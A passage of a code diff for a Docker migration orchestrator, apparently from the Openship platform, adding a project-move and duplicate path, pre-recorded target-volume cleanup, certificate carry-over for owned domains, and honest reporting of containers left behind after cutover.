this set is not + // adopt's. It decides `scannedContainerIds`, and moveData's first act is + // `rtA.stop(cid)` on every id in it. A name-only client cannot tell the user's + // `postgres` from the control plane's, so without this the run would stop + // Openship's own database to copy its volume (#584). Also fails a genuine + // re-import before any container is touched, rather than after. + chosen = await excludeAlreadyManaged(chosen, organizationId); + const blocked = chosen.filter((s) => Boolean(s.build) && !s.image); + if (blocked.length > 0) { + throw new Error( + `Cannot migrate built-from-source services: ${blocked + .map((s) => s.name) + .join(", ")}. Publish an image or link a repo first.`, + ); + } + // Per-service volume strategy decides the takeover mode on the SAME server: + // reuse → ATTACH the already-running container live, in place (no + // redeploy, no volume move, zero downtime). + // copy → DEPLOY a fresh container on a duplicated volume. + // Cross-server is always a deploy (the volume streams to a fresh target). + // Resolved per SERVICE, not per name: two selected containers sharing a name + // (trivial across compose projects) collapsed onto one strategy entry, so a + // service the operator set to "reuse in place" could be copied instead — or a + // "copy" service attached live, taking over the original in place (#584 class). + const isAttach = (svc: (typeof chosen)[number]) => + sameServer && (perService(input.volumeStrategies, svc) ?? "reuse") !== "copy"; + const attachChosen = chosen.filter((s) => isAttach(s)); + const deployChosen = chosen.filter((s) => !isAttach(s)); + + + // Parse the linked repo's compose so adopted rows take their NATIVE + // build/image spec (mapped by the wizard) instead of a frozen running-image + // tag — the fix that makes a later Redeploy reclone + rebuild rather than + // 404 on a stale build tag. Best-effort: a GitHub hiccup falls back to + // legacy image-only adoption (the migration must never fail on this). + const repoServices = await (async () => { + const gs = input.gitSource; + if (!gs?.owner || !gs?.repo) return undefined; + const parsed = await parseRepoCompose(ctx, gs.owner, gs.repo, gs.branch).catch(() => []); + return parsed.length ? new Map(parsed.map((s) => [s.name, s])) : undefined; + })(); + + const adopt = await adoptServerStack({ + serverId: sourceServerId, + organizationId, + projectName: input.projectName, + serviceNames, + sameServer, + volumeStrategies: input.volumeStrategies, + serviceSubpaths: input.serviceSubpaths, + serviceEnv: input.serviceEnv, + serviceRenames: input.serviceRenames, + serviceContainerIds: input.serviceContainerIds, + flatDocker: input.flatDocker, + repoServices, + }); + return { chosen, attachChosen, deployChosen, adopt, repoServices }; + } + private async run( ctx: RequestContext, id: string, @@ -441,88 +705,18 @@ class MigrationOrchestratorImpl { // ── adopt ── this.throwIfCancelled(id); await this.transition(id, "adopting"); - log(`${sameServer ? "same-server" : "cross-server"} migration of ${serviceNames.length} service(s): ${serviceNames.join(", ")}`); - const stack = await discoverServerStack(sourceServerId, organizationId, undefined, { - flatDocker: input.flatDocker, - }); - // Identity-first (see select-services): a bare name is only unique within its - // compose project, so a name match over the whole server also selected the - // control plane's own same-named containers (#584). - const selected = selectDiscoveredServices(stack.services, { - containerIds: input.serviceContainerIds, - names: serviceNames, - }); - if (selected.length === 0) { - throw new Error("None of the selected services were found on the server."); - } - // Never adopt the edge proxy (traefik/nginx/… on 80/443) — Openship's - // OpenResty replaces it. Drop it from the workload set and leave it - // UNTOUCHED (absent from scannedContainerIds, so moveData won't stop it): - // we never blind-stop the user's proxy. It's reclaimed later — with - // consent — when the user adds a domain to a migrated service and the - // routed deploy's edge-takeover modal offers to take over 80/443. - let chosen = selected.filter((s) => !s.proxyKind); - if (chosen.length === 0) { - throw new Error( - "Only a reverse proxy was selected. Openship installs its own edge on 80/443 — pick the app services to migrate instead.", - ); - } - // The SAME gate adoptServerStack applies, applied HERE too — this set is not - // adopt's. It decides `scannedContainerIds`, and moveData's first act is - // `rtA.stop(cid)` on every id in it. A name-only client cannot tell the user's - // `postgres` from the control plane's, so without this the run would stop - // Openship's own database to copy its volume (#584). Also fails a genuine - // re-import before any container is touched, rather than after. - chosen = await excludeAlreadyManaged(chosen, organizationId); - const blocked = chosen.filter((s) => Boolean(s.build) && !s.image); - if (blocked.length > 0) { - throw new Error( - `Cannot migrate built-from-source services: ${blocked - .map((s) => s.name) - .join(", ")}. Publish an image or link a repo first.`, - ); - } - // Per-service volume strategy decides the takeover mode on the SAME server: - // reuse → ATTACH the already-running container live, in place (no - // redeploy, no volume move, zero downtime). - // copy → DEPLOY a fresh container on a duplicated volume. - // Cross-server is always a deploy (the volume streams to a fresh target). - // Resolved per SERVICE, not per name: two selected containers sharing a name - // (trivial across compose projects) collapsed onto one strategy entry, so a - // service the operator set to "reuse in place" could be copied instead — or a - // "copy" service attached live, taking over the original in place (#584 class). - const isAttach = (svc: (typeof chosen)[number]) => - sameServer && (perService(input.volumeStrategies, svc) ?? "reuse") !== "copy"; - const attachChosen = chosen.filter((s) => isAttach(s)); - const deployChosen = chosen.filter((s) => !isAttach(s)); - - - // Parse the linked repo's compose so adopted rows take their NATIVE - // build/image spec (mapped by the wizard) instead of a frozen running-image - // tag — the fix that makes a later Redeploy reclone + rebuild rather than - // 404 on a stale build tag. Best-effort: a GitHub hiccup falls back to - // legacy image-only adoption (the migration must never fail on this). - const repoServices = await (async () => { - const gs = input.gitSource; - if (!gs?.owner || !gs?.repo) return undefined; - const parsed = await parseRepoCompose(ctx, gs.owner, gs.repo, gs.branch).catch(() => []); - return parsed.length ? new Map(parsed.map((s) => [s.name, s])) : undefined; - })(); - - const adopt = await adoptServerStack({ - serverId: sourceServerId, - organizationId, - projectName: input.projectName, - serviceNames, - sameServer, - volumeStrategies: input.volumeStrategies, - serviceSubpaths: input.serviceSubpaths, - serviceEnv: input.serviceEnv, - serviceRenames: input.serviceRenames, - serviceContainerIds: input.serviceContainerIds, - flatDocker: input.flatDocker, - repoServices, - }); + // ── Which workload, and under whose project? ── + // + // The two DOORS into this pipeline meet here and nowhere else. Door A adopts what a + // scan of the source found. Door B moves a project this instance ALREADY owns, and + // adopts nothing — it cannot use door A, because `excludeAlreadyManaged` would + // correctly refuse every one of its containers (see project-move.ts). + // + // Everything after this point is shared by both doors: quiesce, transfer, deploy, + // verify, cutover, rollback, resume. Only the identification differs. + const { chosen, attachChosen, deployChosen, adopt, repoServices } = input.projectMove + ? await this.resolveOwnedProjectWorkload(input, log) + : await this.resolveScannedWorkload(ctx, input, log); const projectId = adopt.projectId; if (adopt.created) createdProjectId = projectId; @@ -646,6 +840,14 @@ class MigrationOrchestratorImpl { lastEmit = now; migrationRunBus.publish(id, { type: "progress", ...u }); }; + // Whose volumes are these? For a DUPLICATE, `projectId` above is the copy the run just + // created, while the volumes coming across are the SOURCE project's and carry its slug. + // The "reuse our own debris on the target" rule matches on that slug, so without this a + // failed duplicate stayed stuck in exactly the loop the rule exists to break. + const sourceProjectSlug = input.projectMove + ? ((await repos.project.findById(input.projectMove.projectId).catch(() => null))?.slug ?? + undefined) + : undefined; const move = await this.moveData( projectId, sourceServerId, @@ -661,6 +863,7 @@ class MigrationOrchestratorImpl { log, emitProgress, id, + sourceProjectSlug, ); pendingItems = move.pendingItems; await this.transition(id, "moving_data", { @@ -735,6 +938,22 @@ class MigrationOrchestratorImpl { // image on THIS deploy (no rebuild); a later Redeploy has no handover // and rebuilds from the repo. handoverImages: adopt.handover, + /** + * The SINGLE-APP twin of the map above, and the reason a moved single app rebuilt + * itself from source on the target. + * + * `handoverImages` is the COMPOSE field: `pinnedServiceImage` looks a service NAME up + * in it. A single-app deploy asks `pinnedAppImage`, which reads this scalar — and + * `snapshotNeedsGitSource` keys off the same thing, so with it unset the target cloned + * the repo and ran a full `docker build`. For `makieon` that meant streaming 725 MB of + * image across, then rebuilding it from git anyway: minutes of wasted work whose only + * visible symptom was a migration that looked stuck on its last step. + * + * Set only when the workload IS one service, so a compose project keeps using the map. + */ + ...(Object.keys(adopt.handover).length === 1 + ? { handoverAppImage: Object.values(adopt.handover)[0] } + : {}), }); deploymentId = dep.deployment_id; await this.transition(id, "deploying", { deploymentId }); @@ -764,8 +983,16 @@ class MigrationOrchestratorImpl { // BEFORE the post-verify domain publish reads them — so a kept domain // reuses its cert instead of re-issuing via ACME. Best-effort. if (!sameServer) { - await this.carrySourceCerts(sourceServerId, targetServerId, organizationId, chosen).catch( - (err) => console.warn(`[migration] ${id}: cert carry skipped: ${safeErrorMessage(err)}`), + await this.carrySourceCerts( + sourceServerId, + targetServerId, + organizationId, + chosen, + // A project move: carry certs for the project's own domains, which the + // foreign-proxy scan never sees. + input.projectMove ? projectId : undefined, + ).catch((err) => + console.warn(`[migration] ${id}: cert carry skipped: ${safeErrorMessage(err)}`), ); } } else { @@ -818,6 +1045,17 @@ class MigrationOrchestratorImpl { // adopted (foreign labels) or replaced looks identical in the run log to // one that landed cleanly — the operator only found out from the panel. // Log-only: never changes the run's outcome. + // Everything that RECORDED the old server now has to point at the new one. One list, run + // and logged uniformly, because that set only grows — see `relocation-effects`. After + // `publishRoutes` on purpose: several effects re-point things that exist only once the + // project's routes do (the free-subdomain mapping is the first of them). + if (input.projectMove && !sameServer) { + await applyRelocationEffects( + projectRelocationEffects({ projectId, organizationId, targetServerId }), + log, + ); + } + await this.logLiveState(projectId, targetServerId, organizationId, log); // ── partial / cutover / awaiting_cutover ── @@ -830,6 +1068,17 @@ class MigrationOrchestratorImpl { `migration PARTIAL — ${pendingItems.length} path(s) pending ` + `(${pendingItems.map((p) => p.key).join(", ")}); resolve + resume to finish`, ); + } else if (input.projectMove?.intent === "copy") { + // A DUPLICATE retires nothing, so there is no destructive step to confirm and + // `awaiting_cutover` would be a prompt about an act that never happens. The + // originals were only quiesced so their volumes copied consistently — bring them + // straight back up and finish. + // + // The source keeps its containers, its domains, its edge and its server binding. + // What exists at the end is two independent projects. + await this.restartSourceOriginals(sourceServerId, organizationId, scannedContainerIds); + await this.transition(id, "succeeded"); + log(`duplicate succeeded — the original is running again on its own server`); } else if (deployChosen.length > 0) { // Only the deploy set has originals to retire. A pure attach-live run // adopted the live containers in place, so there is nothing to cut over. @@ -838,9 +1087,14 @@ class MigrationOrchestratorImpl { this.throwIfCancelled(id); await this.transition(id, "cutover"); log(`cutover: stopping + removing the source originals`); - await this.cutover(sourceServerId, organizationId, scannedContainerIds); + const { failed } = await this.cutover(sourceServerId, organizationId, scannedContainerIds); await this.transition(id, "succeeded"); - log(`migration succeeded`); + // The migration DID succeed — the target is live — so the status stays `succeeded`. + // But a container still standing on the old server is something the operator has to + // act on (it holds its ports, and a restart policy will bring it back), so it is + // named in the log rather than dropped. + const remainder = describeCutoverRemainder(failed); + log(remainder ? `migration succeeded, BUT ${remainder}` : `migration succeeded`); } else { await this.transition(id, "awaiting_cutover"); log(`target verified healthy — awaiting cutover confirmation`); @@ -900,6 +1154,15 @@ class MigrationOrchestratorImpl { log: (message: string) => void, onProgress?: (u: ProgressUpdate) => void, runId?: string, + /** + * Slug of the project the volumes BELONG TO, when that isn't `projectId`. + * + * For a move they are the same. For a DUPLICATE they are not: `projectId` is the copy being + * created (`clincai-copy`) while the volumes are the source's (`openship-clincai-*`), so + * recognising "our own debris on the target" has to key off the SOURCE slug or it silently + * stops working for exactly the flow that needs it most. + */ + sourceProjectSlug?: string, ): Promise { const rtA = await createServerDockerRuntime(sourceServerId, organizationId); const rtB = sameServer @@ -935,6 +1198,7 @@ class MigrationOrchestratorImpl { onProgress, runId, scannedContainerIds, + sourceProjectSlug, ); } @@ -1091,11 +1355,27 @@ class MigrationOrchestratorImpl { // overwrites (= override), so here we only need to not hard-fail. const relayFallbackRaw = unanimousConflictAction(conflictResolution); const relayFallback = relayFallbackRaw === "clone" ? undefined : relayFallbackRaw; + // Same self-healing rule as the direct path, for the same reason — see the long comment + // there. A volume carrying THIS project's own namespace prefix, on a server the project + // doesn't live on, is debris from an earlier attempt at this move; refusing over it is a + // loop no retry can break. Kept here as well rather than only on the direct path, + // because "which transfer mode did you use" must not decide whether you get stuck. + const relayOurSlug = sourceProjectSlug || projectSlug; + const relayOurPrefix = relayOurSlug ? scopedVolumeName(relayOurSlug, "") : null; const conflicts: string[] = []; for (const task of tasks) { if (conflictResolution[task.source] || relayFallback) continue; // resolved / inherited const probe = await task.dst.exec.probeVolume?.(task.dst.handle, task.dst.sourceId); - if (probe?.exists && !probe.empty) conflicts.push(`${task.label}/${task.dst.sourceId}`); + if (!probe?.exists || probe.empty) continue; + const name = task.dst.sourceId; + if (relayOurPrefix && name.startsWith(relayOurPrefix) && name.length > relayOurPrefix.length) { + log( + `${name}: left on the target by an earlier attempt at this move — ` + + `its contents are replaced by this transfer`, + ); + continue; + } + conflicts.push(`${task.label}/${name}`); } if (conflicts.length > 0) { throw new Error( @@ -1112,6 +1392,19 @@ class MigrationOrchestratorImpl { // becomes a PENDING item (→ `partial`, resolvable + resumable) instead of // aborting the whole migration. const pendingItems: PendingItem[] = []; + // Recorded BEFORE the transfer, for the same reason as the direct path: an abort + // mid-transfer must still leave a record of what we put on the target, or those volumes + // become orphans that block every retry with nothing pointing at them. + const plannedTargetVolumes = rtB + ? tasks.filter((t) => t.targetVolume).map((t) => t.targetVolume as string) + : []; + // `runId` is optional on this path (it also serves the cancel registry). Nothing can be + // recorded without it, and the caller still gets the list back on success. + if (runId && plannedTargetVolumes.length > 0) { + await repos.dockerMigrationRun + .updateTargetVolumes(runId, plannedTargetVolumes) + .catch(() => {}); + } const results = await runPool(tasks, TRANSFER_CONCURRENCY, async (t) => { // Cancel check BEFORE the resilience try (see the direct path). this.throwIfCancelled(runId); @@ -1143,15 +1436,10 @@ class MigrationOrchestratorImpl { return 0; } }); - // Cross-server target volumes written (for optional post-failure cleanup); - // same-server "copies" live on the same daemon but are recorded too. - const targetVolumes = rtB - ? tasks.filter((t) => t.targetVolume).map((t) => t.targetVolume as string) - : []; return { bytesMoved: imageBytes + results.reduce((sum, n) => sum + n, 0), pendingItems, - targetVolumes, + targetVolumes: plannedTargetVolumes, }; } finally { await rtA.dispose().catch(() => {}); @@ -1181,6 +1469,8 @@ class MigrationOrchestratorImpl { onProgress?: (u: ProgressUpdate) => void, runId?: string, scannedContainerIds: Record = {}, + /** See {@link moveData}'s parameter of the same name. */ + sourceProjectSlug?: string, ): Promise { const [source, target] = await Promise.all([ createServerCommandExecutor(sourceServerId, organizationId), @@ -1263,6 +1553,25 @@ class MigrationOrchestratorImpl { // so an inherited clone would land data the deploy wouldn't mount → exclude. const inheritRaw = unanimousConflictAction(conflictResolution); const fallback = inheritRaw === "clone" ? undefined : inheritRaw; + + /** + * Is this volume name one OUR deploy of THIS project would produce? + * + * Exact prefix on the project's own slug, never a loose "starts with openship-": a + * substring rule would match `openship-clincai-staging-pgdata` while moving `clincai`, and + * a stranger's project is exactly what must never be overwritten. `scopedVolumeName` is the + * one place that name is formed, so the test is built from it rather than re-spelled. + * + * Empty slug ⇒ never matches. A project we couldn't read is not a project we can claim + * volumes for. + */ + // The SOURCE project's slug, which for a duplicate is not this run's project — see + // `moveData`'s `sourceProjectSlug`. Falls back to the run's own project, which is correct + // for a move and for door A. + const ourSlug = sourceProjectSlug || projectSlug; + const ourVolumePrefix = ourSlug ? scopedVolumeName(ourSlug, "") : null; + const isOurNamespacedVolume = (name: string) => + Boolean(ourVolumePrefix) && name.startsWith(ourVolumePrefix!) && name.length > ourVolumePrefix!.length; log( `conflict resolution: ${Object.keys(conflictResolution).length ? JSON.stringify(conflictResolution) : "none"}` + `; enumerated volumes: ${[...volumeNames].join(", ") || "none"}`, @@ -1281,9 +1590,36 @@ class MigrationOrchestratorImpl { if (fallback) { resolution[name] = fallback; log(`conflict ${name}: no explicit choice — applying '${fallback}' (matches your other choices)`); - } else { - conflicts.push(name); + continue; } + // OUR OWN DEBRIS IS NOT A CONFLICT. + // + // `openship--` is the name OUR deploy gives THIS project's volumes. Finding + // one on a server the project doesn't live on means an earlier attempt at this same move + // wrote it and didn't clean up — and refusing over it left the operator in a loop no + // retry could break, only `docker volume rm` on the box by hand. Rollback now removes + // what it wrote, but that only helps runs that recorded it: anything stranded by an + // earlier version, or by a crash between writing and recording, is invisible to it. This + // is the part that makes the flow self-healing rather than merely tidy from here on. + // + // Still refuses if a container is USING it. That is the line: a name we recognise is + // ours to overwrite, a volume something is actually running on is not, whoever named it. + if (isOurNamespacedVolume(name)) { + const users = await target.executor + .exec(`docker ps --filter volume=${sq(name)} --format '{{.Names}}' 2>/dev/null || true`) + .catch(() => ""); + const running = users.split("\n").map((s) => s.trim()).filter(Boolean); + if (running.length === 0) { + resolution[name] = "override"; + log( + `${name}: left on the target by an earlier attempt at this move and unused — ` + + `reusing it (its contents are replaced by this transfer)`, + ); + continue; + } + log(`${name}: in use by ${running.join(", ")} on the target — refusing`); + } + conflicts.push(name); } if (conflicts.length > 0) { throw new Error( @@ -1339,9 +1675,29 @@ class MigrationOrchestratorImpl { // run parks `partial`, resolvable + resumable) instead of aborting the // whole migration. A genuine link/tool failure also lands here. const pendingItems: PendingItem[] = []; - const targetVolumes: string[] = []; // src volume name → target volume name, for the post-transfer size check. const verifyVolumes: Array<{ src: string; dst: string }> = []; + + /** + * Record what we are ABOUT to write on the target, before writing any of it. + * + * This used to be collected as each transfer succeeded and returned at the end, which + * meant a run that aborted mid-transfer (a cancel, a link failure) recorded NOTHING — + * so the volumes it had already written on the target became invisible orphans. The + * next attempt then hit "target already has data" and there was no record telling + * anyone which volumes to remove, or that we were the ones who put them there. + * + * Known up front, so no incremental writes to race: every non-`keep` volume is one we + * will write. Over-approximating is safe and deliberate — cleanup removes with + * `rm -f … || true`, so naming a volume that never got created costs nothing, while + * missing one strands data on the target. + */ + const targetVolumes = [...volumeNames] + .filter((ref) => resolution[ref] !== "keep") + .map((ref) => (resolution[ref] === "clone" ? scopedVolumeName(projectSlug, ref) : ref)); + if (runId && targetVolumes.length > 0) { + await repos.dockerMigrationRun.updateTargetVolumes(runId, targetVolumes).catch(() => {}); + } await runPool(items, TRANSFER_CONCURRENCY, async (it) => { // Cancel check BEFORE the resilience try — a cancel must abort the run, // not get swallowed into pendingItems as if the path failed. @@ -1356,7 +1712,8 @@ class MigrationOrchestratorImpl { log(`volume ${it.ref}: keeping existing target data (not transferred)`); } else { const dstName = action === "clone" ? scopedVolumeName(projectSlug, it.ref) : undefined; - targetVolumes.push(dstName ?? it.ref); // written on the target (for optional cleanup) + // No push here — `targetVolumes` was recorded in full before the pool started, + // precisely so a mid-transfer abort still leaves a cleanable record. await link.transferVolume(it.ref, track(`volume:${it.ref}`, "volume"), dstName); verifyVolumes.push({ src: it.ref, dst: dstName ?? it.ref }); } @@ -1654,6 +2011,22 @@ class MigrationOrchestratorImpl { chosen: Array<{ existingRoute?: Array<{ domains: string[]; ssl: { enabled?: boolean } }>; }>, + /** + * The project being MOVED, when there is one. + * + * Without this the carry did nothing for a project move, and the symptom looked like a + * different bug entirely: every migrated domain re-issued through ACME on the target and + * failed while DNS still pointed at the source, so a working stack arrived with no HTTPS + * and three pages of certbot output. + * + * The reason is where the domains come from. `chosen[].existingRoute` is populated by the + * FOREIGN-proxy scan — it reads another box's nginx/caddy/traefik config and indexes it by + * published host port. That is the right source when adopting a stranger's stack, and the + * wrong one for a project we already own: our domains live in our own `domain` table and + * our containers publish on loopback ports, so the scan contributes nothing and the set + * came out empty. Same certs, sitting on the source, never looked at. + */ + projectId?: string, ): Promise { // Every TLS-served domain among the kept services. The cert MATERIAL comes from // the source proxy's own reader, not from cert paths on the discovered route: @@ -1661,6 +2034,16 @@ class MigrationOrchestratorImpl { // acme.json), so a path-driven carry silently moved nothing from those boxes and // every migrated domain re-issued through ACME on the target. const domains = new Set(); + // The project's OWN hostnames first — the authoritative set for a move (see `projectId`). + // Every hostname is offered, not a pre-filtered "valid" subset: `certCandidateFor` below + // already checks that a cert covers the domain and hasn't expired, and skips with a reason + // when it doesn't. Filtering here on our own `sslStatus` would add a second, staler opinion + // about validity — and a domain we wrongly skipped would silently re-issue instead. + if (projectId) { + for (const row of await repos.domain.listByProject(projectId).catch(() => [])) { + if (row.hostname) domains.add(row.hostname.toLowerCase()); + } + } for (const s of chosen) { for (const r of s.existingRoute ?? []) { if (r.ssl?.enabled === false) continue; @@ -1755,20 +2138,97 @@ class MigrationOrchestratorImpl { /** Destroy the originals on the source (by scanned container id — they carry * no openship.* labels). Never removes the source's volumes. */ + /** + * Remove this project's vhosts from the SOURCE server's edge, after a confirmed + * project-move cutover. + * + * Bound to the source by a synthetic snapshot rather than the deployment's: by now the + * project's active deployment is the TARGET's, so `withDeploymentPlatform` would resolve + * the wrong box and delete the vhosts that just started serving. + * + * Best-effort, and deliberately so — unlike the pause path, which fails loudly because + * a failed removal means a site the operator asked to stop is still up. Here the site + * is already up on the target and the source's containers are already gone; a leftover + * vhost is a 502 on a machine nothing should be pointing at any more. Failing the + * cutover for it would strand a run whose destructive half already succeeded. + */ + private async retireSourceRoutes( + projectId: string, + sourceServerId: string, + organizationId: string, + ): Promise { + try { + const hostnames = (await repos.domain.listByProject(projectId)).map((d) => d.hostname); + if (hostnames.length === 0) return; + await withDeploymentPlatform( + { + meta: { deployTarget: "server", serverId: sourceServerId, runtimeMode: "docker" }, + organizationId, + } as Parameters[0], + async ({ routing }) => { + for (const hostname of hostnames) { + // Idempotent (rm -rf semantics), so a hostname the source never served is a + // no-op rather than an error. + await routing + .removeRoute(hostname) + .catch((err) => + console.warn( + `[migration] source edge: removeRoute ${hostname} failed:`, + safeErrorMessage(err), + ), + ); + } + }, + ); + } catch (err) { + console.warn( + `[migration] retiring source routes for project ${projectId} failed:`, + safeErrorMessage(err), + ); + } + } + + /** + * Retire the source originals. Returns the ones it could NOT remove. + * + * NOT atomic, and it cannot be: there is no transaction spanning two Docker daemons, and + * by this point the target is already live and serving. What it can be is honest. + * + * Two rules follow from that. It keeps going after a failure — aborting on the first would + * leave MORE behind than finishing does. And it REPORTS what survived instead of + * swallowing it, which is the bug this replaces: every error was caught and dropped, and + * the caller then transitioned to `succeeded` regardless. A container that failed to + * destroy (busy, in-use, or a `restart: always` policy racing the daemon) stayed up on the + * old server, holding its published ports, while the run told the operator the old box was + * clean. Silent partial success on a destructive step is worse than a loud partial one. + * + * VOLUMES ARE DELIBERATELY LEFT. Only containers are removed. Until the operator has run + * on the target long enough to trust it, the source volumes are the only other copy of + * their data, and no migration should delete that on its own. Reclaiming that disk is a + * separate, explicit act. + */ private async cutover( sourceServerId: string, organizationId: string, scannedContainerIds: Record, - ): Promise { + ): Promise<{ failed: LeftBehindContainer[] }> { + const failed: LeftBehindContainer[] = []; const rtA = await createServerDockerRuntime(sourceServerId, organizationId); try { - for (const cid of Object.values(scannedContainerIds)) { + for (const [name, cid] of Object.entries(scannedContainerIds)) { + // A stop failure is not itself fatal — `destroy` force-removes a running container — + // so only the destroy verdict decides whether this one is still there. await rtA.stop(cid).catch(() => {}); - await rtA.destroy(cid).catch(() => {}); + try { + await rtA.destroy(cid); + } catch (err) { + failed.push({ name, containerId: cid, reason: safeErrorMessage(err) }); + } } } finally { await rtA.dispose().catch(() => {}); } + return { failed }; } /** @@ -1782,7 +2242,10 @@ class MigrationOrchestratorImpl { async cancel( id: string, organizationId: string, - ): Promise<{ ok: true } | { ok: false; status: number; error: string }> { + ): Promise< + | { ok: true } + | { ok: false; status: number; error: string } + > { const run = await repos.dockerMigrationRun.findById(id); if (!run || run.organizationId !== organizationId) { return { ok: false, status: 404, error: "Migration not found" }; @@ -1834,7 +2297,10 @@ class MigrationOrchestratorImpl { organizationId: string, confirmationToken: string, kill: boolean, - ): Promise<{ ok: true } | { ok: false; status: number; error: string }> { + ): Promise< + | { ok: true; leftBehind: LeftBehindContainer[] } + | { ok: false; status: number; error: string } + > { const run = await repos.dockerMigrationRun.findById(id); if (!run || run.organizationId !== organizationId) { return { ok: false, status: 404, error: "Migration not found" }; @@ -1851,14 +2317,39 @@ class MigrationOrchestratorImpl { return { ok: false, status: 403, error: "Invalid confirmation token" }; } + const leftBehind: LeftBehindContainer[] = []; if (kill && run.sourceServerId) { await this.transition(id, "cutover"); - await this.cutover( + const { failed } = await this.cutover( run.sourceServerId, organizationId, (run.scannedContainerIds ?? {}) as Record, ); - } else if (!kill && run.sourceServerId && run.sourceServerId !== run.targetServerId) { + leftBehind.push(...failed); + const remainder = describeCutoverRemainder(failed); + if (remainder) this.appendLog(id, `cutover: ${remainder}`); + // A project move also has to leave the OLD EDGE. Door A never needs this: an + // adopted stack sat behind the operator's own proxy, which the migration + // deliberately never touches. Ours was served by Openship's edge on the source, + // and destroying a container does not remove the vhost pointing at it — so the old + // server would keep answering for the project's domains with a 502, which is worse + // than not answering, and would silently win for as long as DNS still resolves + // there (or anyone hits that IP directly). + if (run.mode === "project_move" && run.projectId) { + await this.retireSourceRoutes(run.projectId, run.sourceServerId, organizationId); + } + } else if ( + !kill && + run.sourceServerId && + run.sourceServerId !== run.targetServerId && + // A PROJECT MOVE's originals stay stopped. For an adopted stack "keep" means the + // old server becomes a live standby, which is safe because those containers were + // never Openship's. Here they ARE this project's: the row now names the target, so + // restarting them would leave ONE project live on TWO servers — two copies of the + // same volumes diverging, both still answering for the same domain from the source's + // edge. Kept-but-stopped is a rollback point; kept-and-running is a split brain. + run.mode !== "project_move" + ) { // Keep + cross-server: moveData quiesced the source for a consistent copy, // so bring the originals back UP — the old server returns to running as a // live standby until the user manually cleans it up (nothing is removed). @@ -1871,7 +2362,9 @@ class MigrationOrchestratorImpl { ); } await this.transition(id, "succeeded"); - return { ok: true }; + // Reported, not swallowed: the caller shows the operator that the old server still has + // containers on it. An empty list is the normal, fully-clean case. + return { ok: true, leftBehind }; } /** @@ -1928,9 +2421,37 @@ class MigrationOrchestratorImpl { if (!run.targetServerId) { return { ok: false, status: 409, error: "Target server is no longer available." }; } - const vols = (run.targetVolumes ?? []) as string[]; - if (vols.length === 0) return { ok: true, removed: 0 }; - const { executor } = await createServerCommandExecutor(run.targetServerId, organizationId); + const removed = await this.removeTargetVolumes( + run.targetServerId, + organizationId, + (run.targetVolumes ?? []) as string[], + ); + await repos.dockerMigrationRun.updateTargetVolumes(id, []).catch(() => {}); + return { ok: true, removed }; + } + + /** + * Remove volumes THIS RUN wrote on the target. Never touches the source. + * + * Shared by the manual "remove target data" action and by rollback, which is the one that + * matters: a rolled-back move used to leave its half-written target volumes behind, and the + * volume-conflict guard then refused every retry ("target already has data") — so the operator + * was stuck in a loop that only manual `docker volume rm` on the box could break. Restoring + * the source but leaving debris on the target is not a rollback. + * + * Safe because of what is (and isn't) in the list: a `keep` volume was never transferred and + * is never recorded, so the target's own pre-existing data is never in scope. A volume the + * operator chose to `override` is in scope, and removing it loses nothing the override had not + * already destroyed — a half-overwritten volume left behind is strictly worse, because it + * looks like data. + */ + private async removeTargetVolumes( + targetServerId: string, + organizationId: string, + vols: string[], + ): Promise { + if (vols.length === 0) return 0; + const { executor } = await createServerCommandExecutor(targetServerId, organizationId); let removed = 0; for (const v of vols) { // -f so an anonymous/unused volume goes even if dangling; `|| true` keeps @@ -1938,8 +2459,7 @@ class MigrationOrchestratorImpl { await executor.exec(`docker volume rm -f ${sq(v)} 2>&1 || true`).catch(() => {}); removed++; } - await repos.dockerMigrationRun.updateTargetVolumes(id, []).catch(() => {}); - return { ok: true, removed }; + return removed; } private async runResume( @@ -2150,11 +2670,81 @@ class MigrationOrchestratorImpl { } } + // Undo what the run did to the TARGET and to the project's own record. Shared with boot + // recovery, which used to skip both — see `undoTargetSideEffects`. + await this.undoTargetSideEffects( + await repos.dockerMigrationRun.findById(id).catch(() => null), + servers, + ctx.organizationId, + (m) => this.appendLog(id, m), + ); + await this.transition(id, "rolled_back", { errorMessage: errorMessage.slice(0, 4096), }); } + /** + * Undo the two things a failed run leaves on the TARGET side: the volumes it wrote there, and a + * project record that has been re-pointed at a server it is no longer running on. + * + * Shared because boot recovery did neither. It tore the target down and restarted the source — + * then left `project.serverId` naming the box it had just emptied, so every live-state read, the + * Access URL and the next deploy went to a server with nothing on it while the containers + * actually serving traffic sat on the source, unmanaged. Plus the transferred volumes, which + * then blocked the next attempt. A crash is exactly when nobody is watching, so it is the worst + * path to leave un-restored. + * + * `project.serverId` is re-pointed at the target by the DEPLOY (deployment-lifecycle persists it + * on every successful server deploy, so a later redeploy stays on its server). That happens + * before the operator confirms anything, which is why undoing it is part of failing — not + * bookkeeping. + * + * MOVE only for the binding: a duplicate's project genuinely lives on the target, so there is + * nothing to put back. Volumes are removed for both. + * + * Best-effort throughout, and deliberately so: the source is already back up by the time this + * runs, and a cleanup hiccup must not mask the failure that caused it. + */ + private async undoTargetSideEffects( + run: Awaited> | null, + servers: { sourceServerId: string; targetServerId?: string | null }, + organizationId: string, + log: (message: string) => void, + ): Promise { + if (!run) return; + + const wrote = (run.targetVolumes ?? []) as string[]; + if (wrote.length > 0 && servers.targetServerId) { + try { + const removed = await this.removeTargetVolumes( + servers.targetServerId, + organizationId, + wrote, + ); + log(`removed ${removed} volume(s) written on the target`); + await repos.dockerMigrationRun.updateTargetVolumes(run.id, []).catch(() => {}); + } catch (err) { + console.warn(`[migration] ${run.id}: target volume cleanup failed:`, safeErrorMessage(err)); + log( + `could not remove the volumes written on the target (${wrote.join(", ")}) — ` + + `remove them there before retrying`, + ); + } + } + + if (run.mode === "project_move" && run.projectId && servers.sourceServerId) { + await repos.project + .update(run.projectId, { serverId: servers.sourceServerId }) + .catch((err) => + console.warn( + `[migration] ${run.id}: restoring the server binding to ${servers.sourceServerId} failed:`, + safeErrorMessage(err), + ), + ); + } + } + /** * Boot recovery. A process restart mid-migration leaves the in-memory pipeline * dead with the source containers STOPPED (moveData quiesces them before the @@ -2212,6 +2802,17 @@ class MigrationOrchestratorImpl { scanned, run.deploymentId ?? undefined, ); + // The SAME undo the live rollback performs. Recovery used to stop at the line above — + // target torn down, source restarted — and leave the project bound to the server it had + // just emptied, with the transferred volumes still on it. A crash is precisely when + // nobody is watching, so an un-restored binding would sit there silently sending every + // read and the next deploy to an empty box. + await this.undoTargetSideEffects( + run, + { sourceServerId: run.sourceServerId, targetServerId: run.targetServerId }, + run.organizationId, + (m) => this.appendLog(run.id, 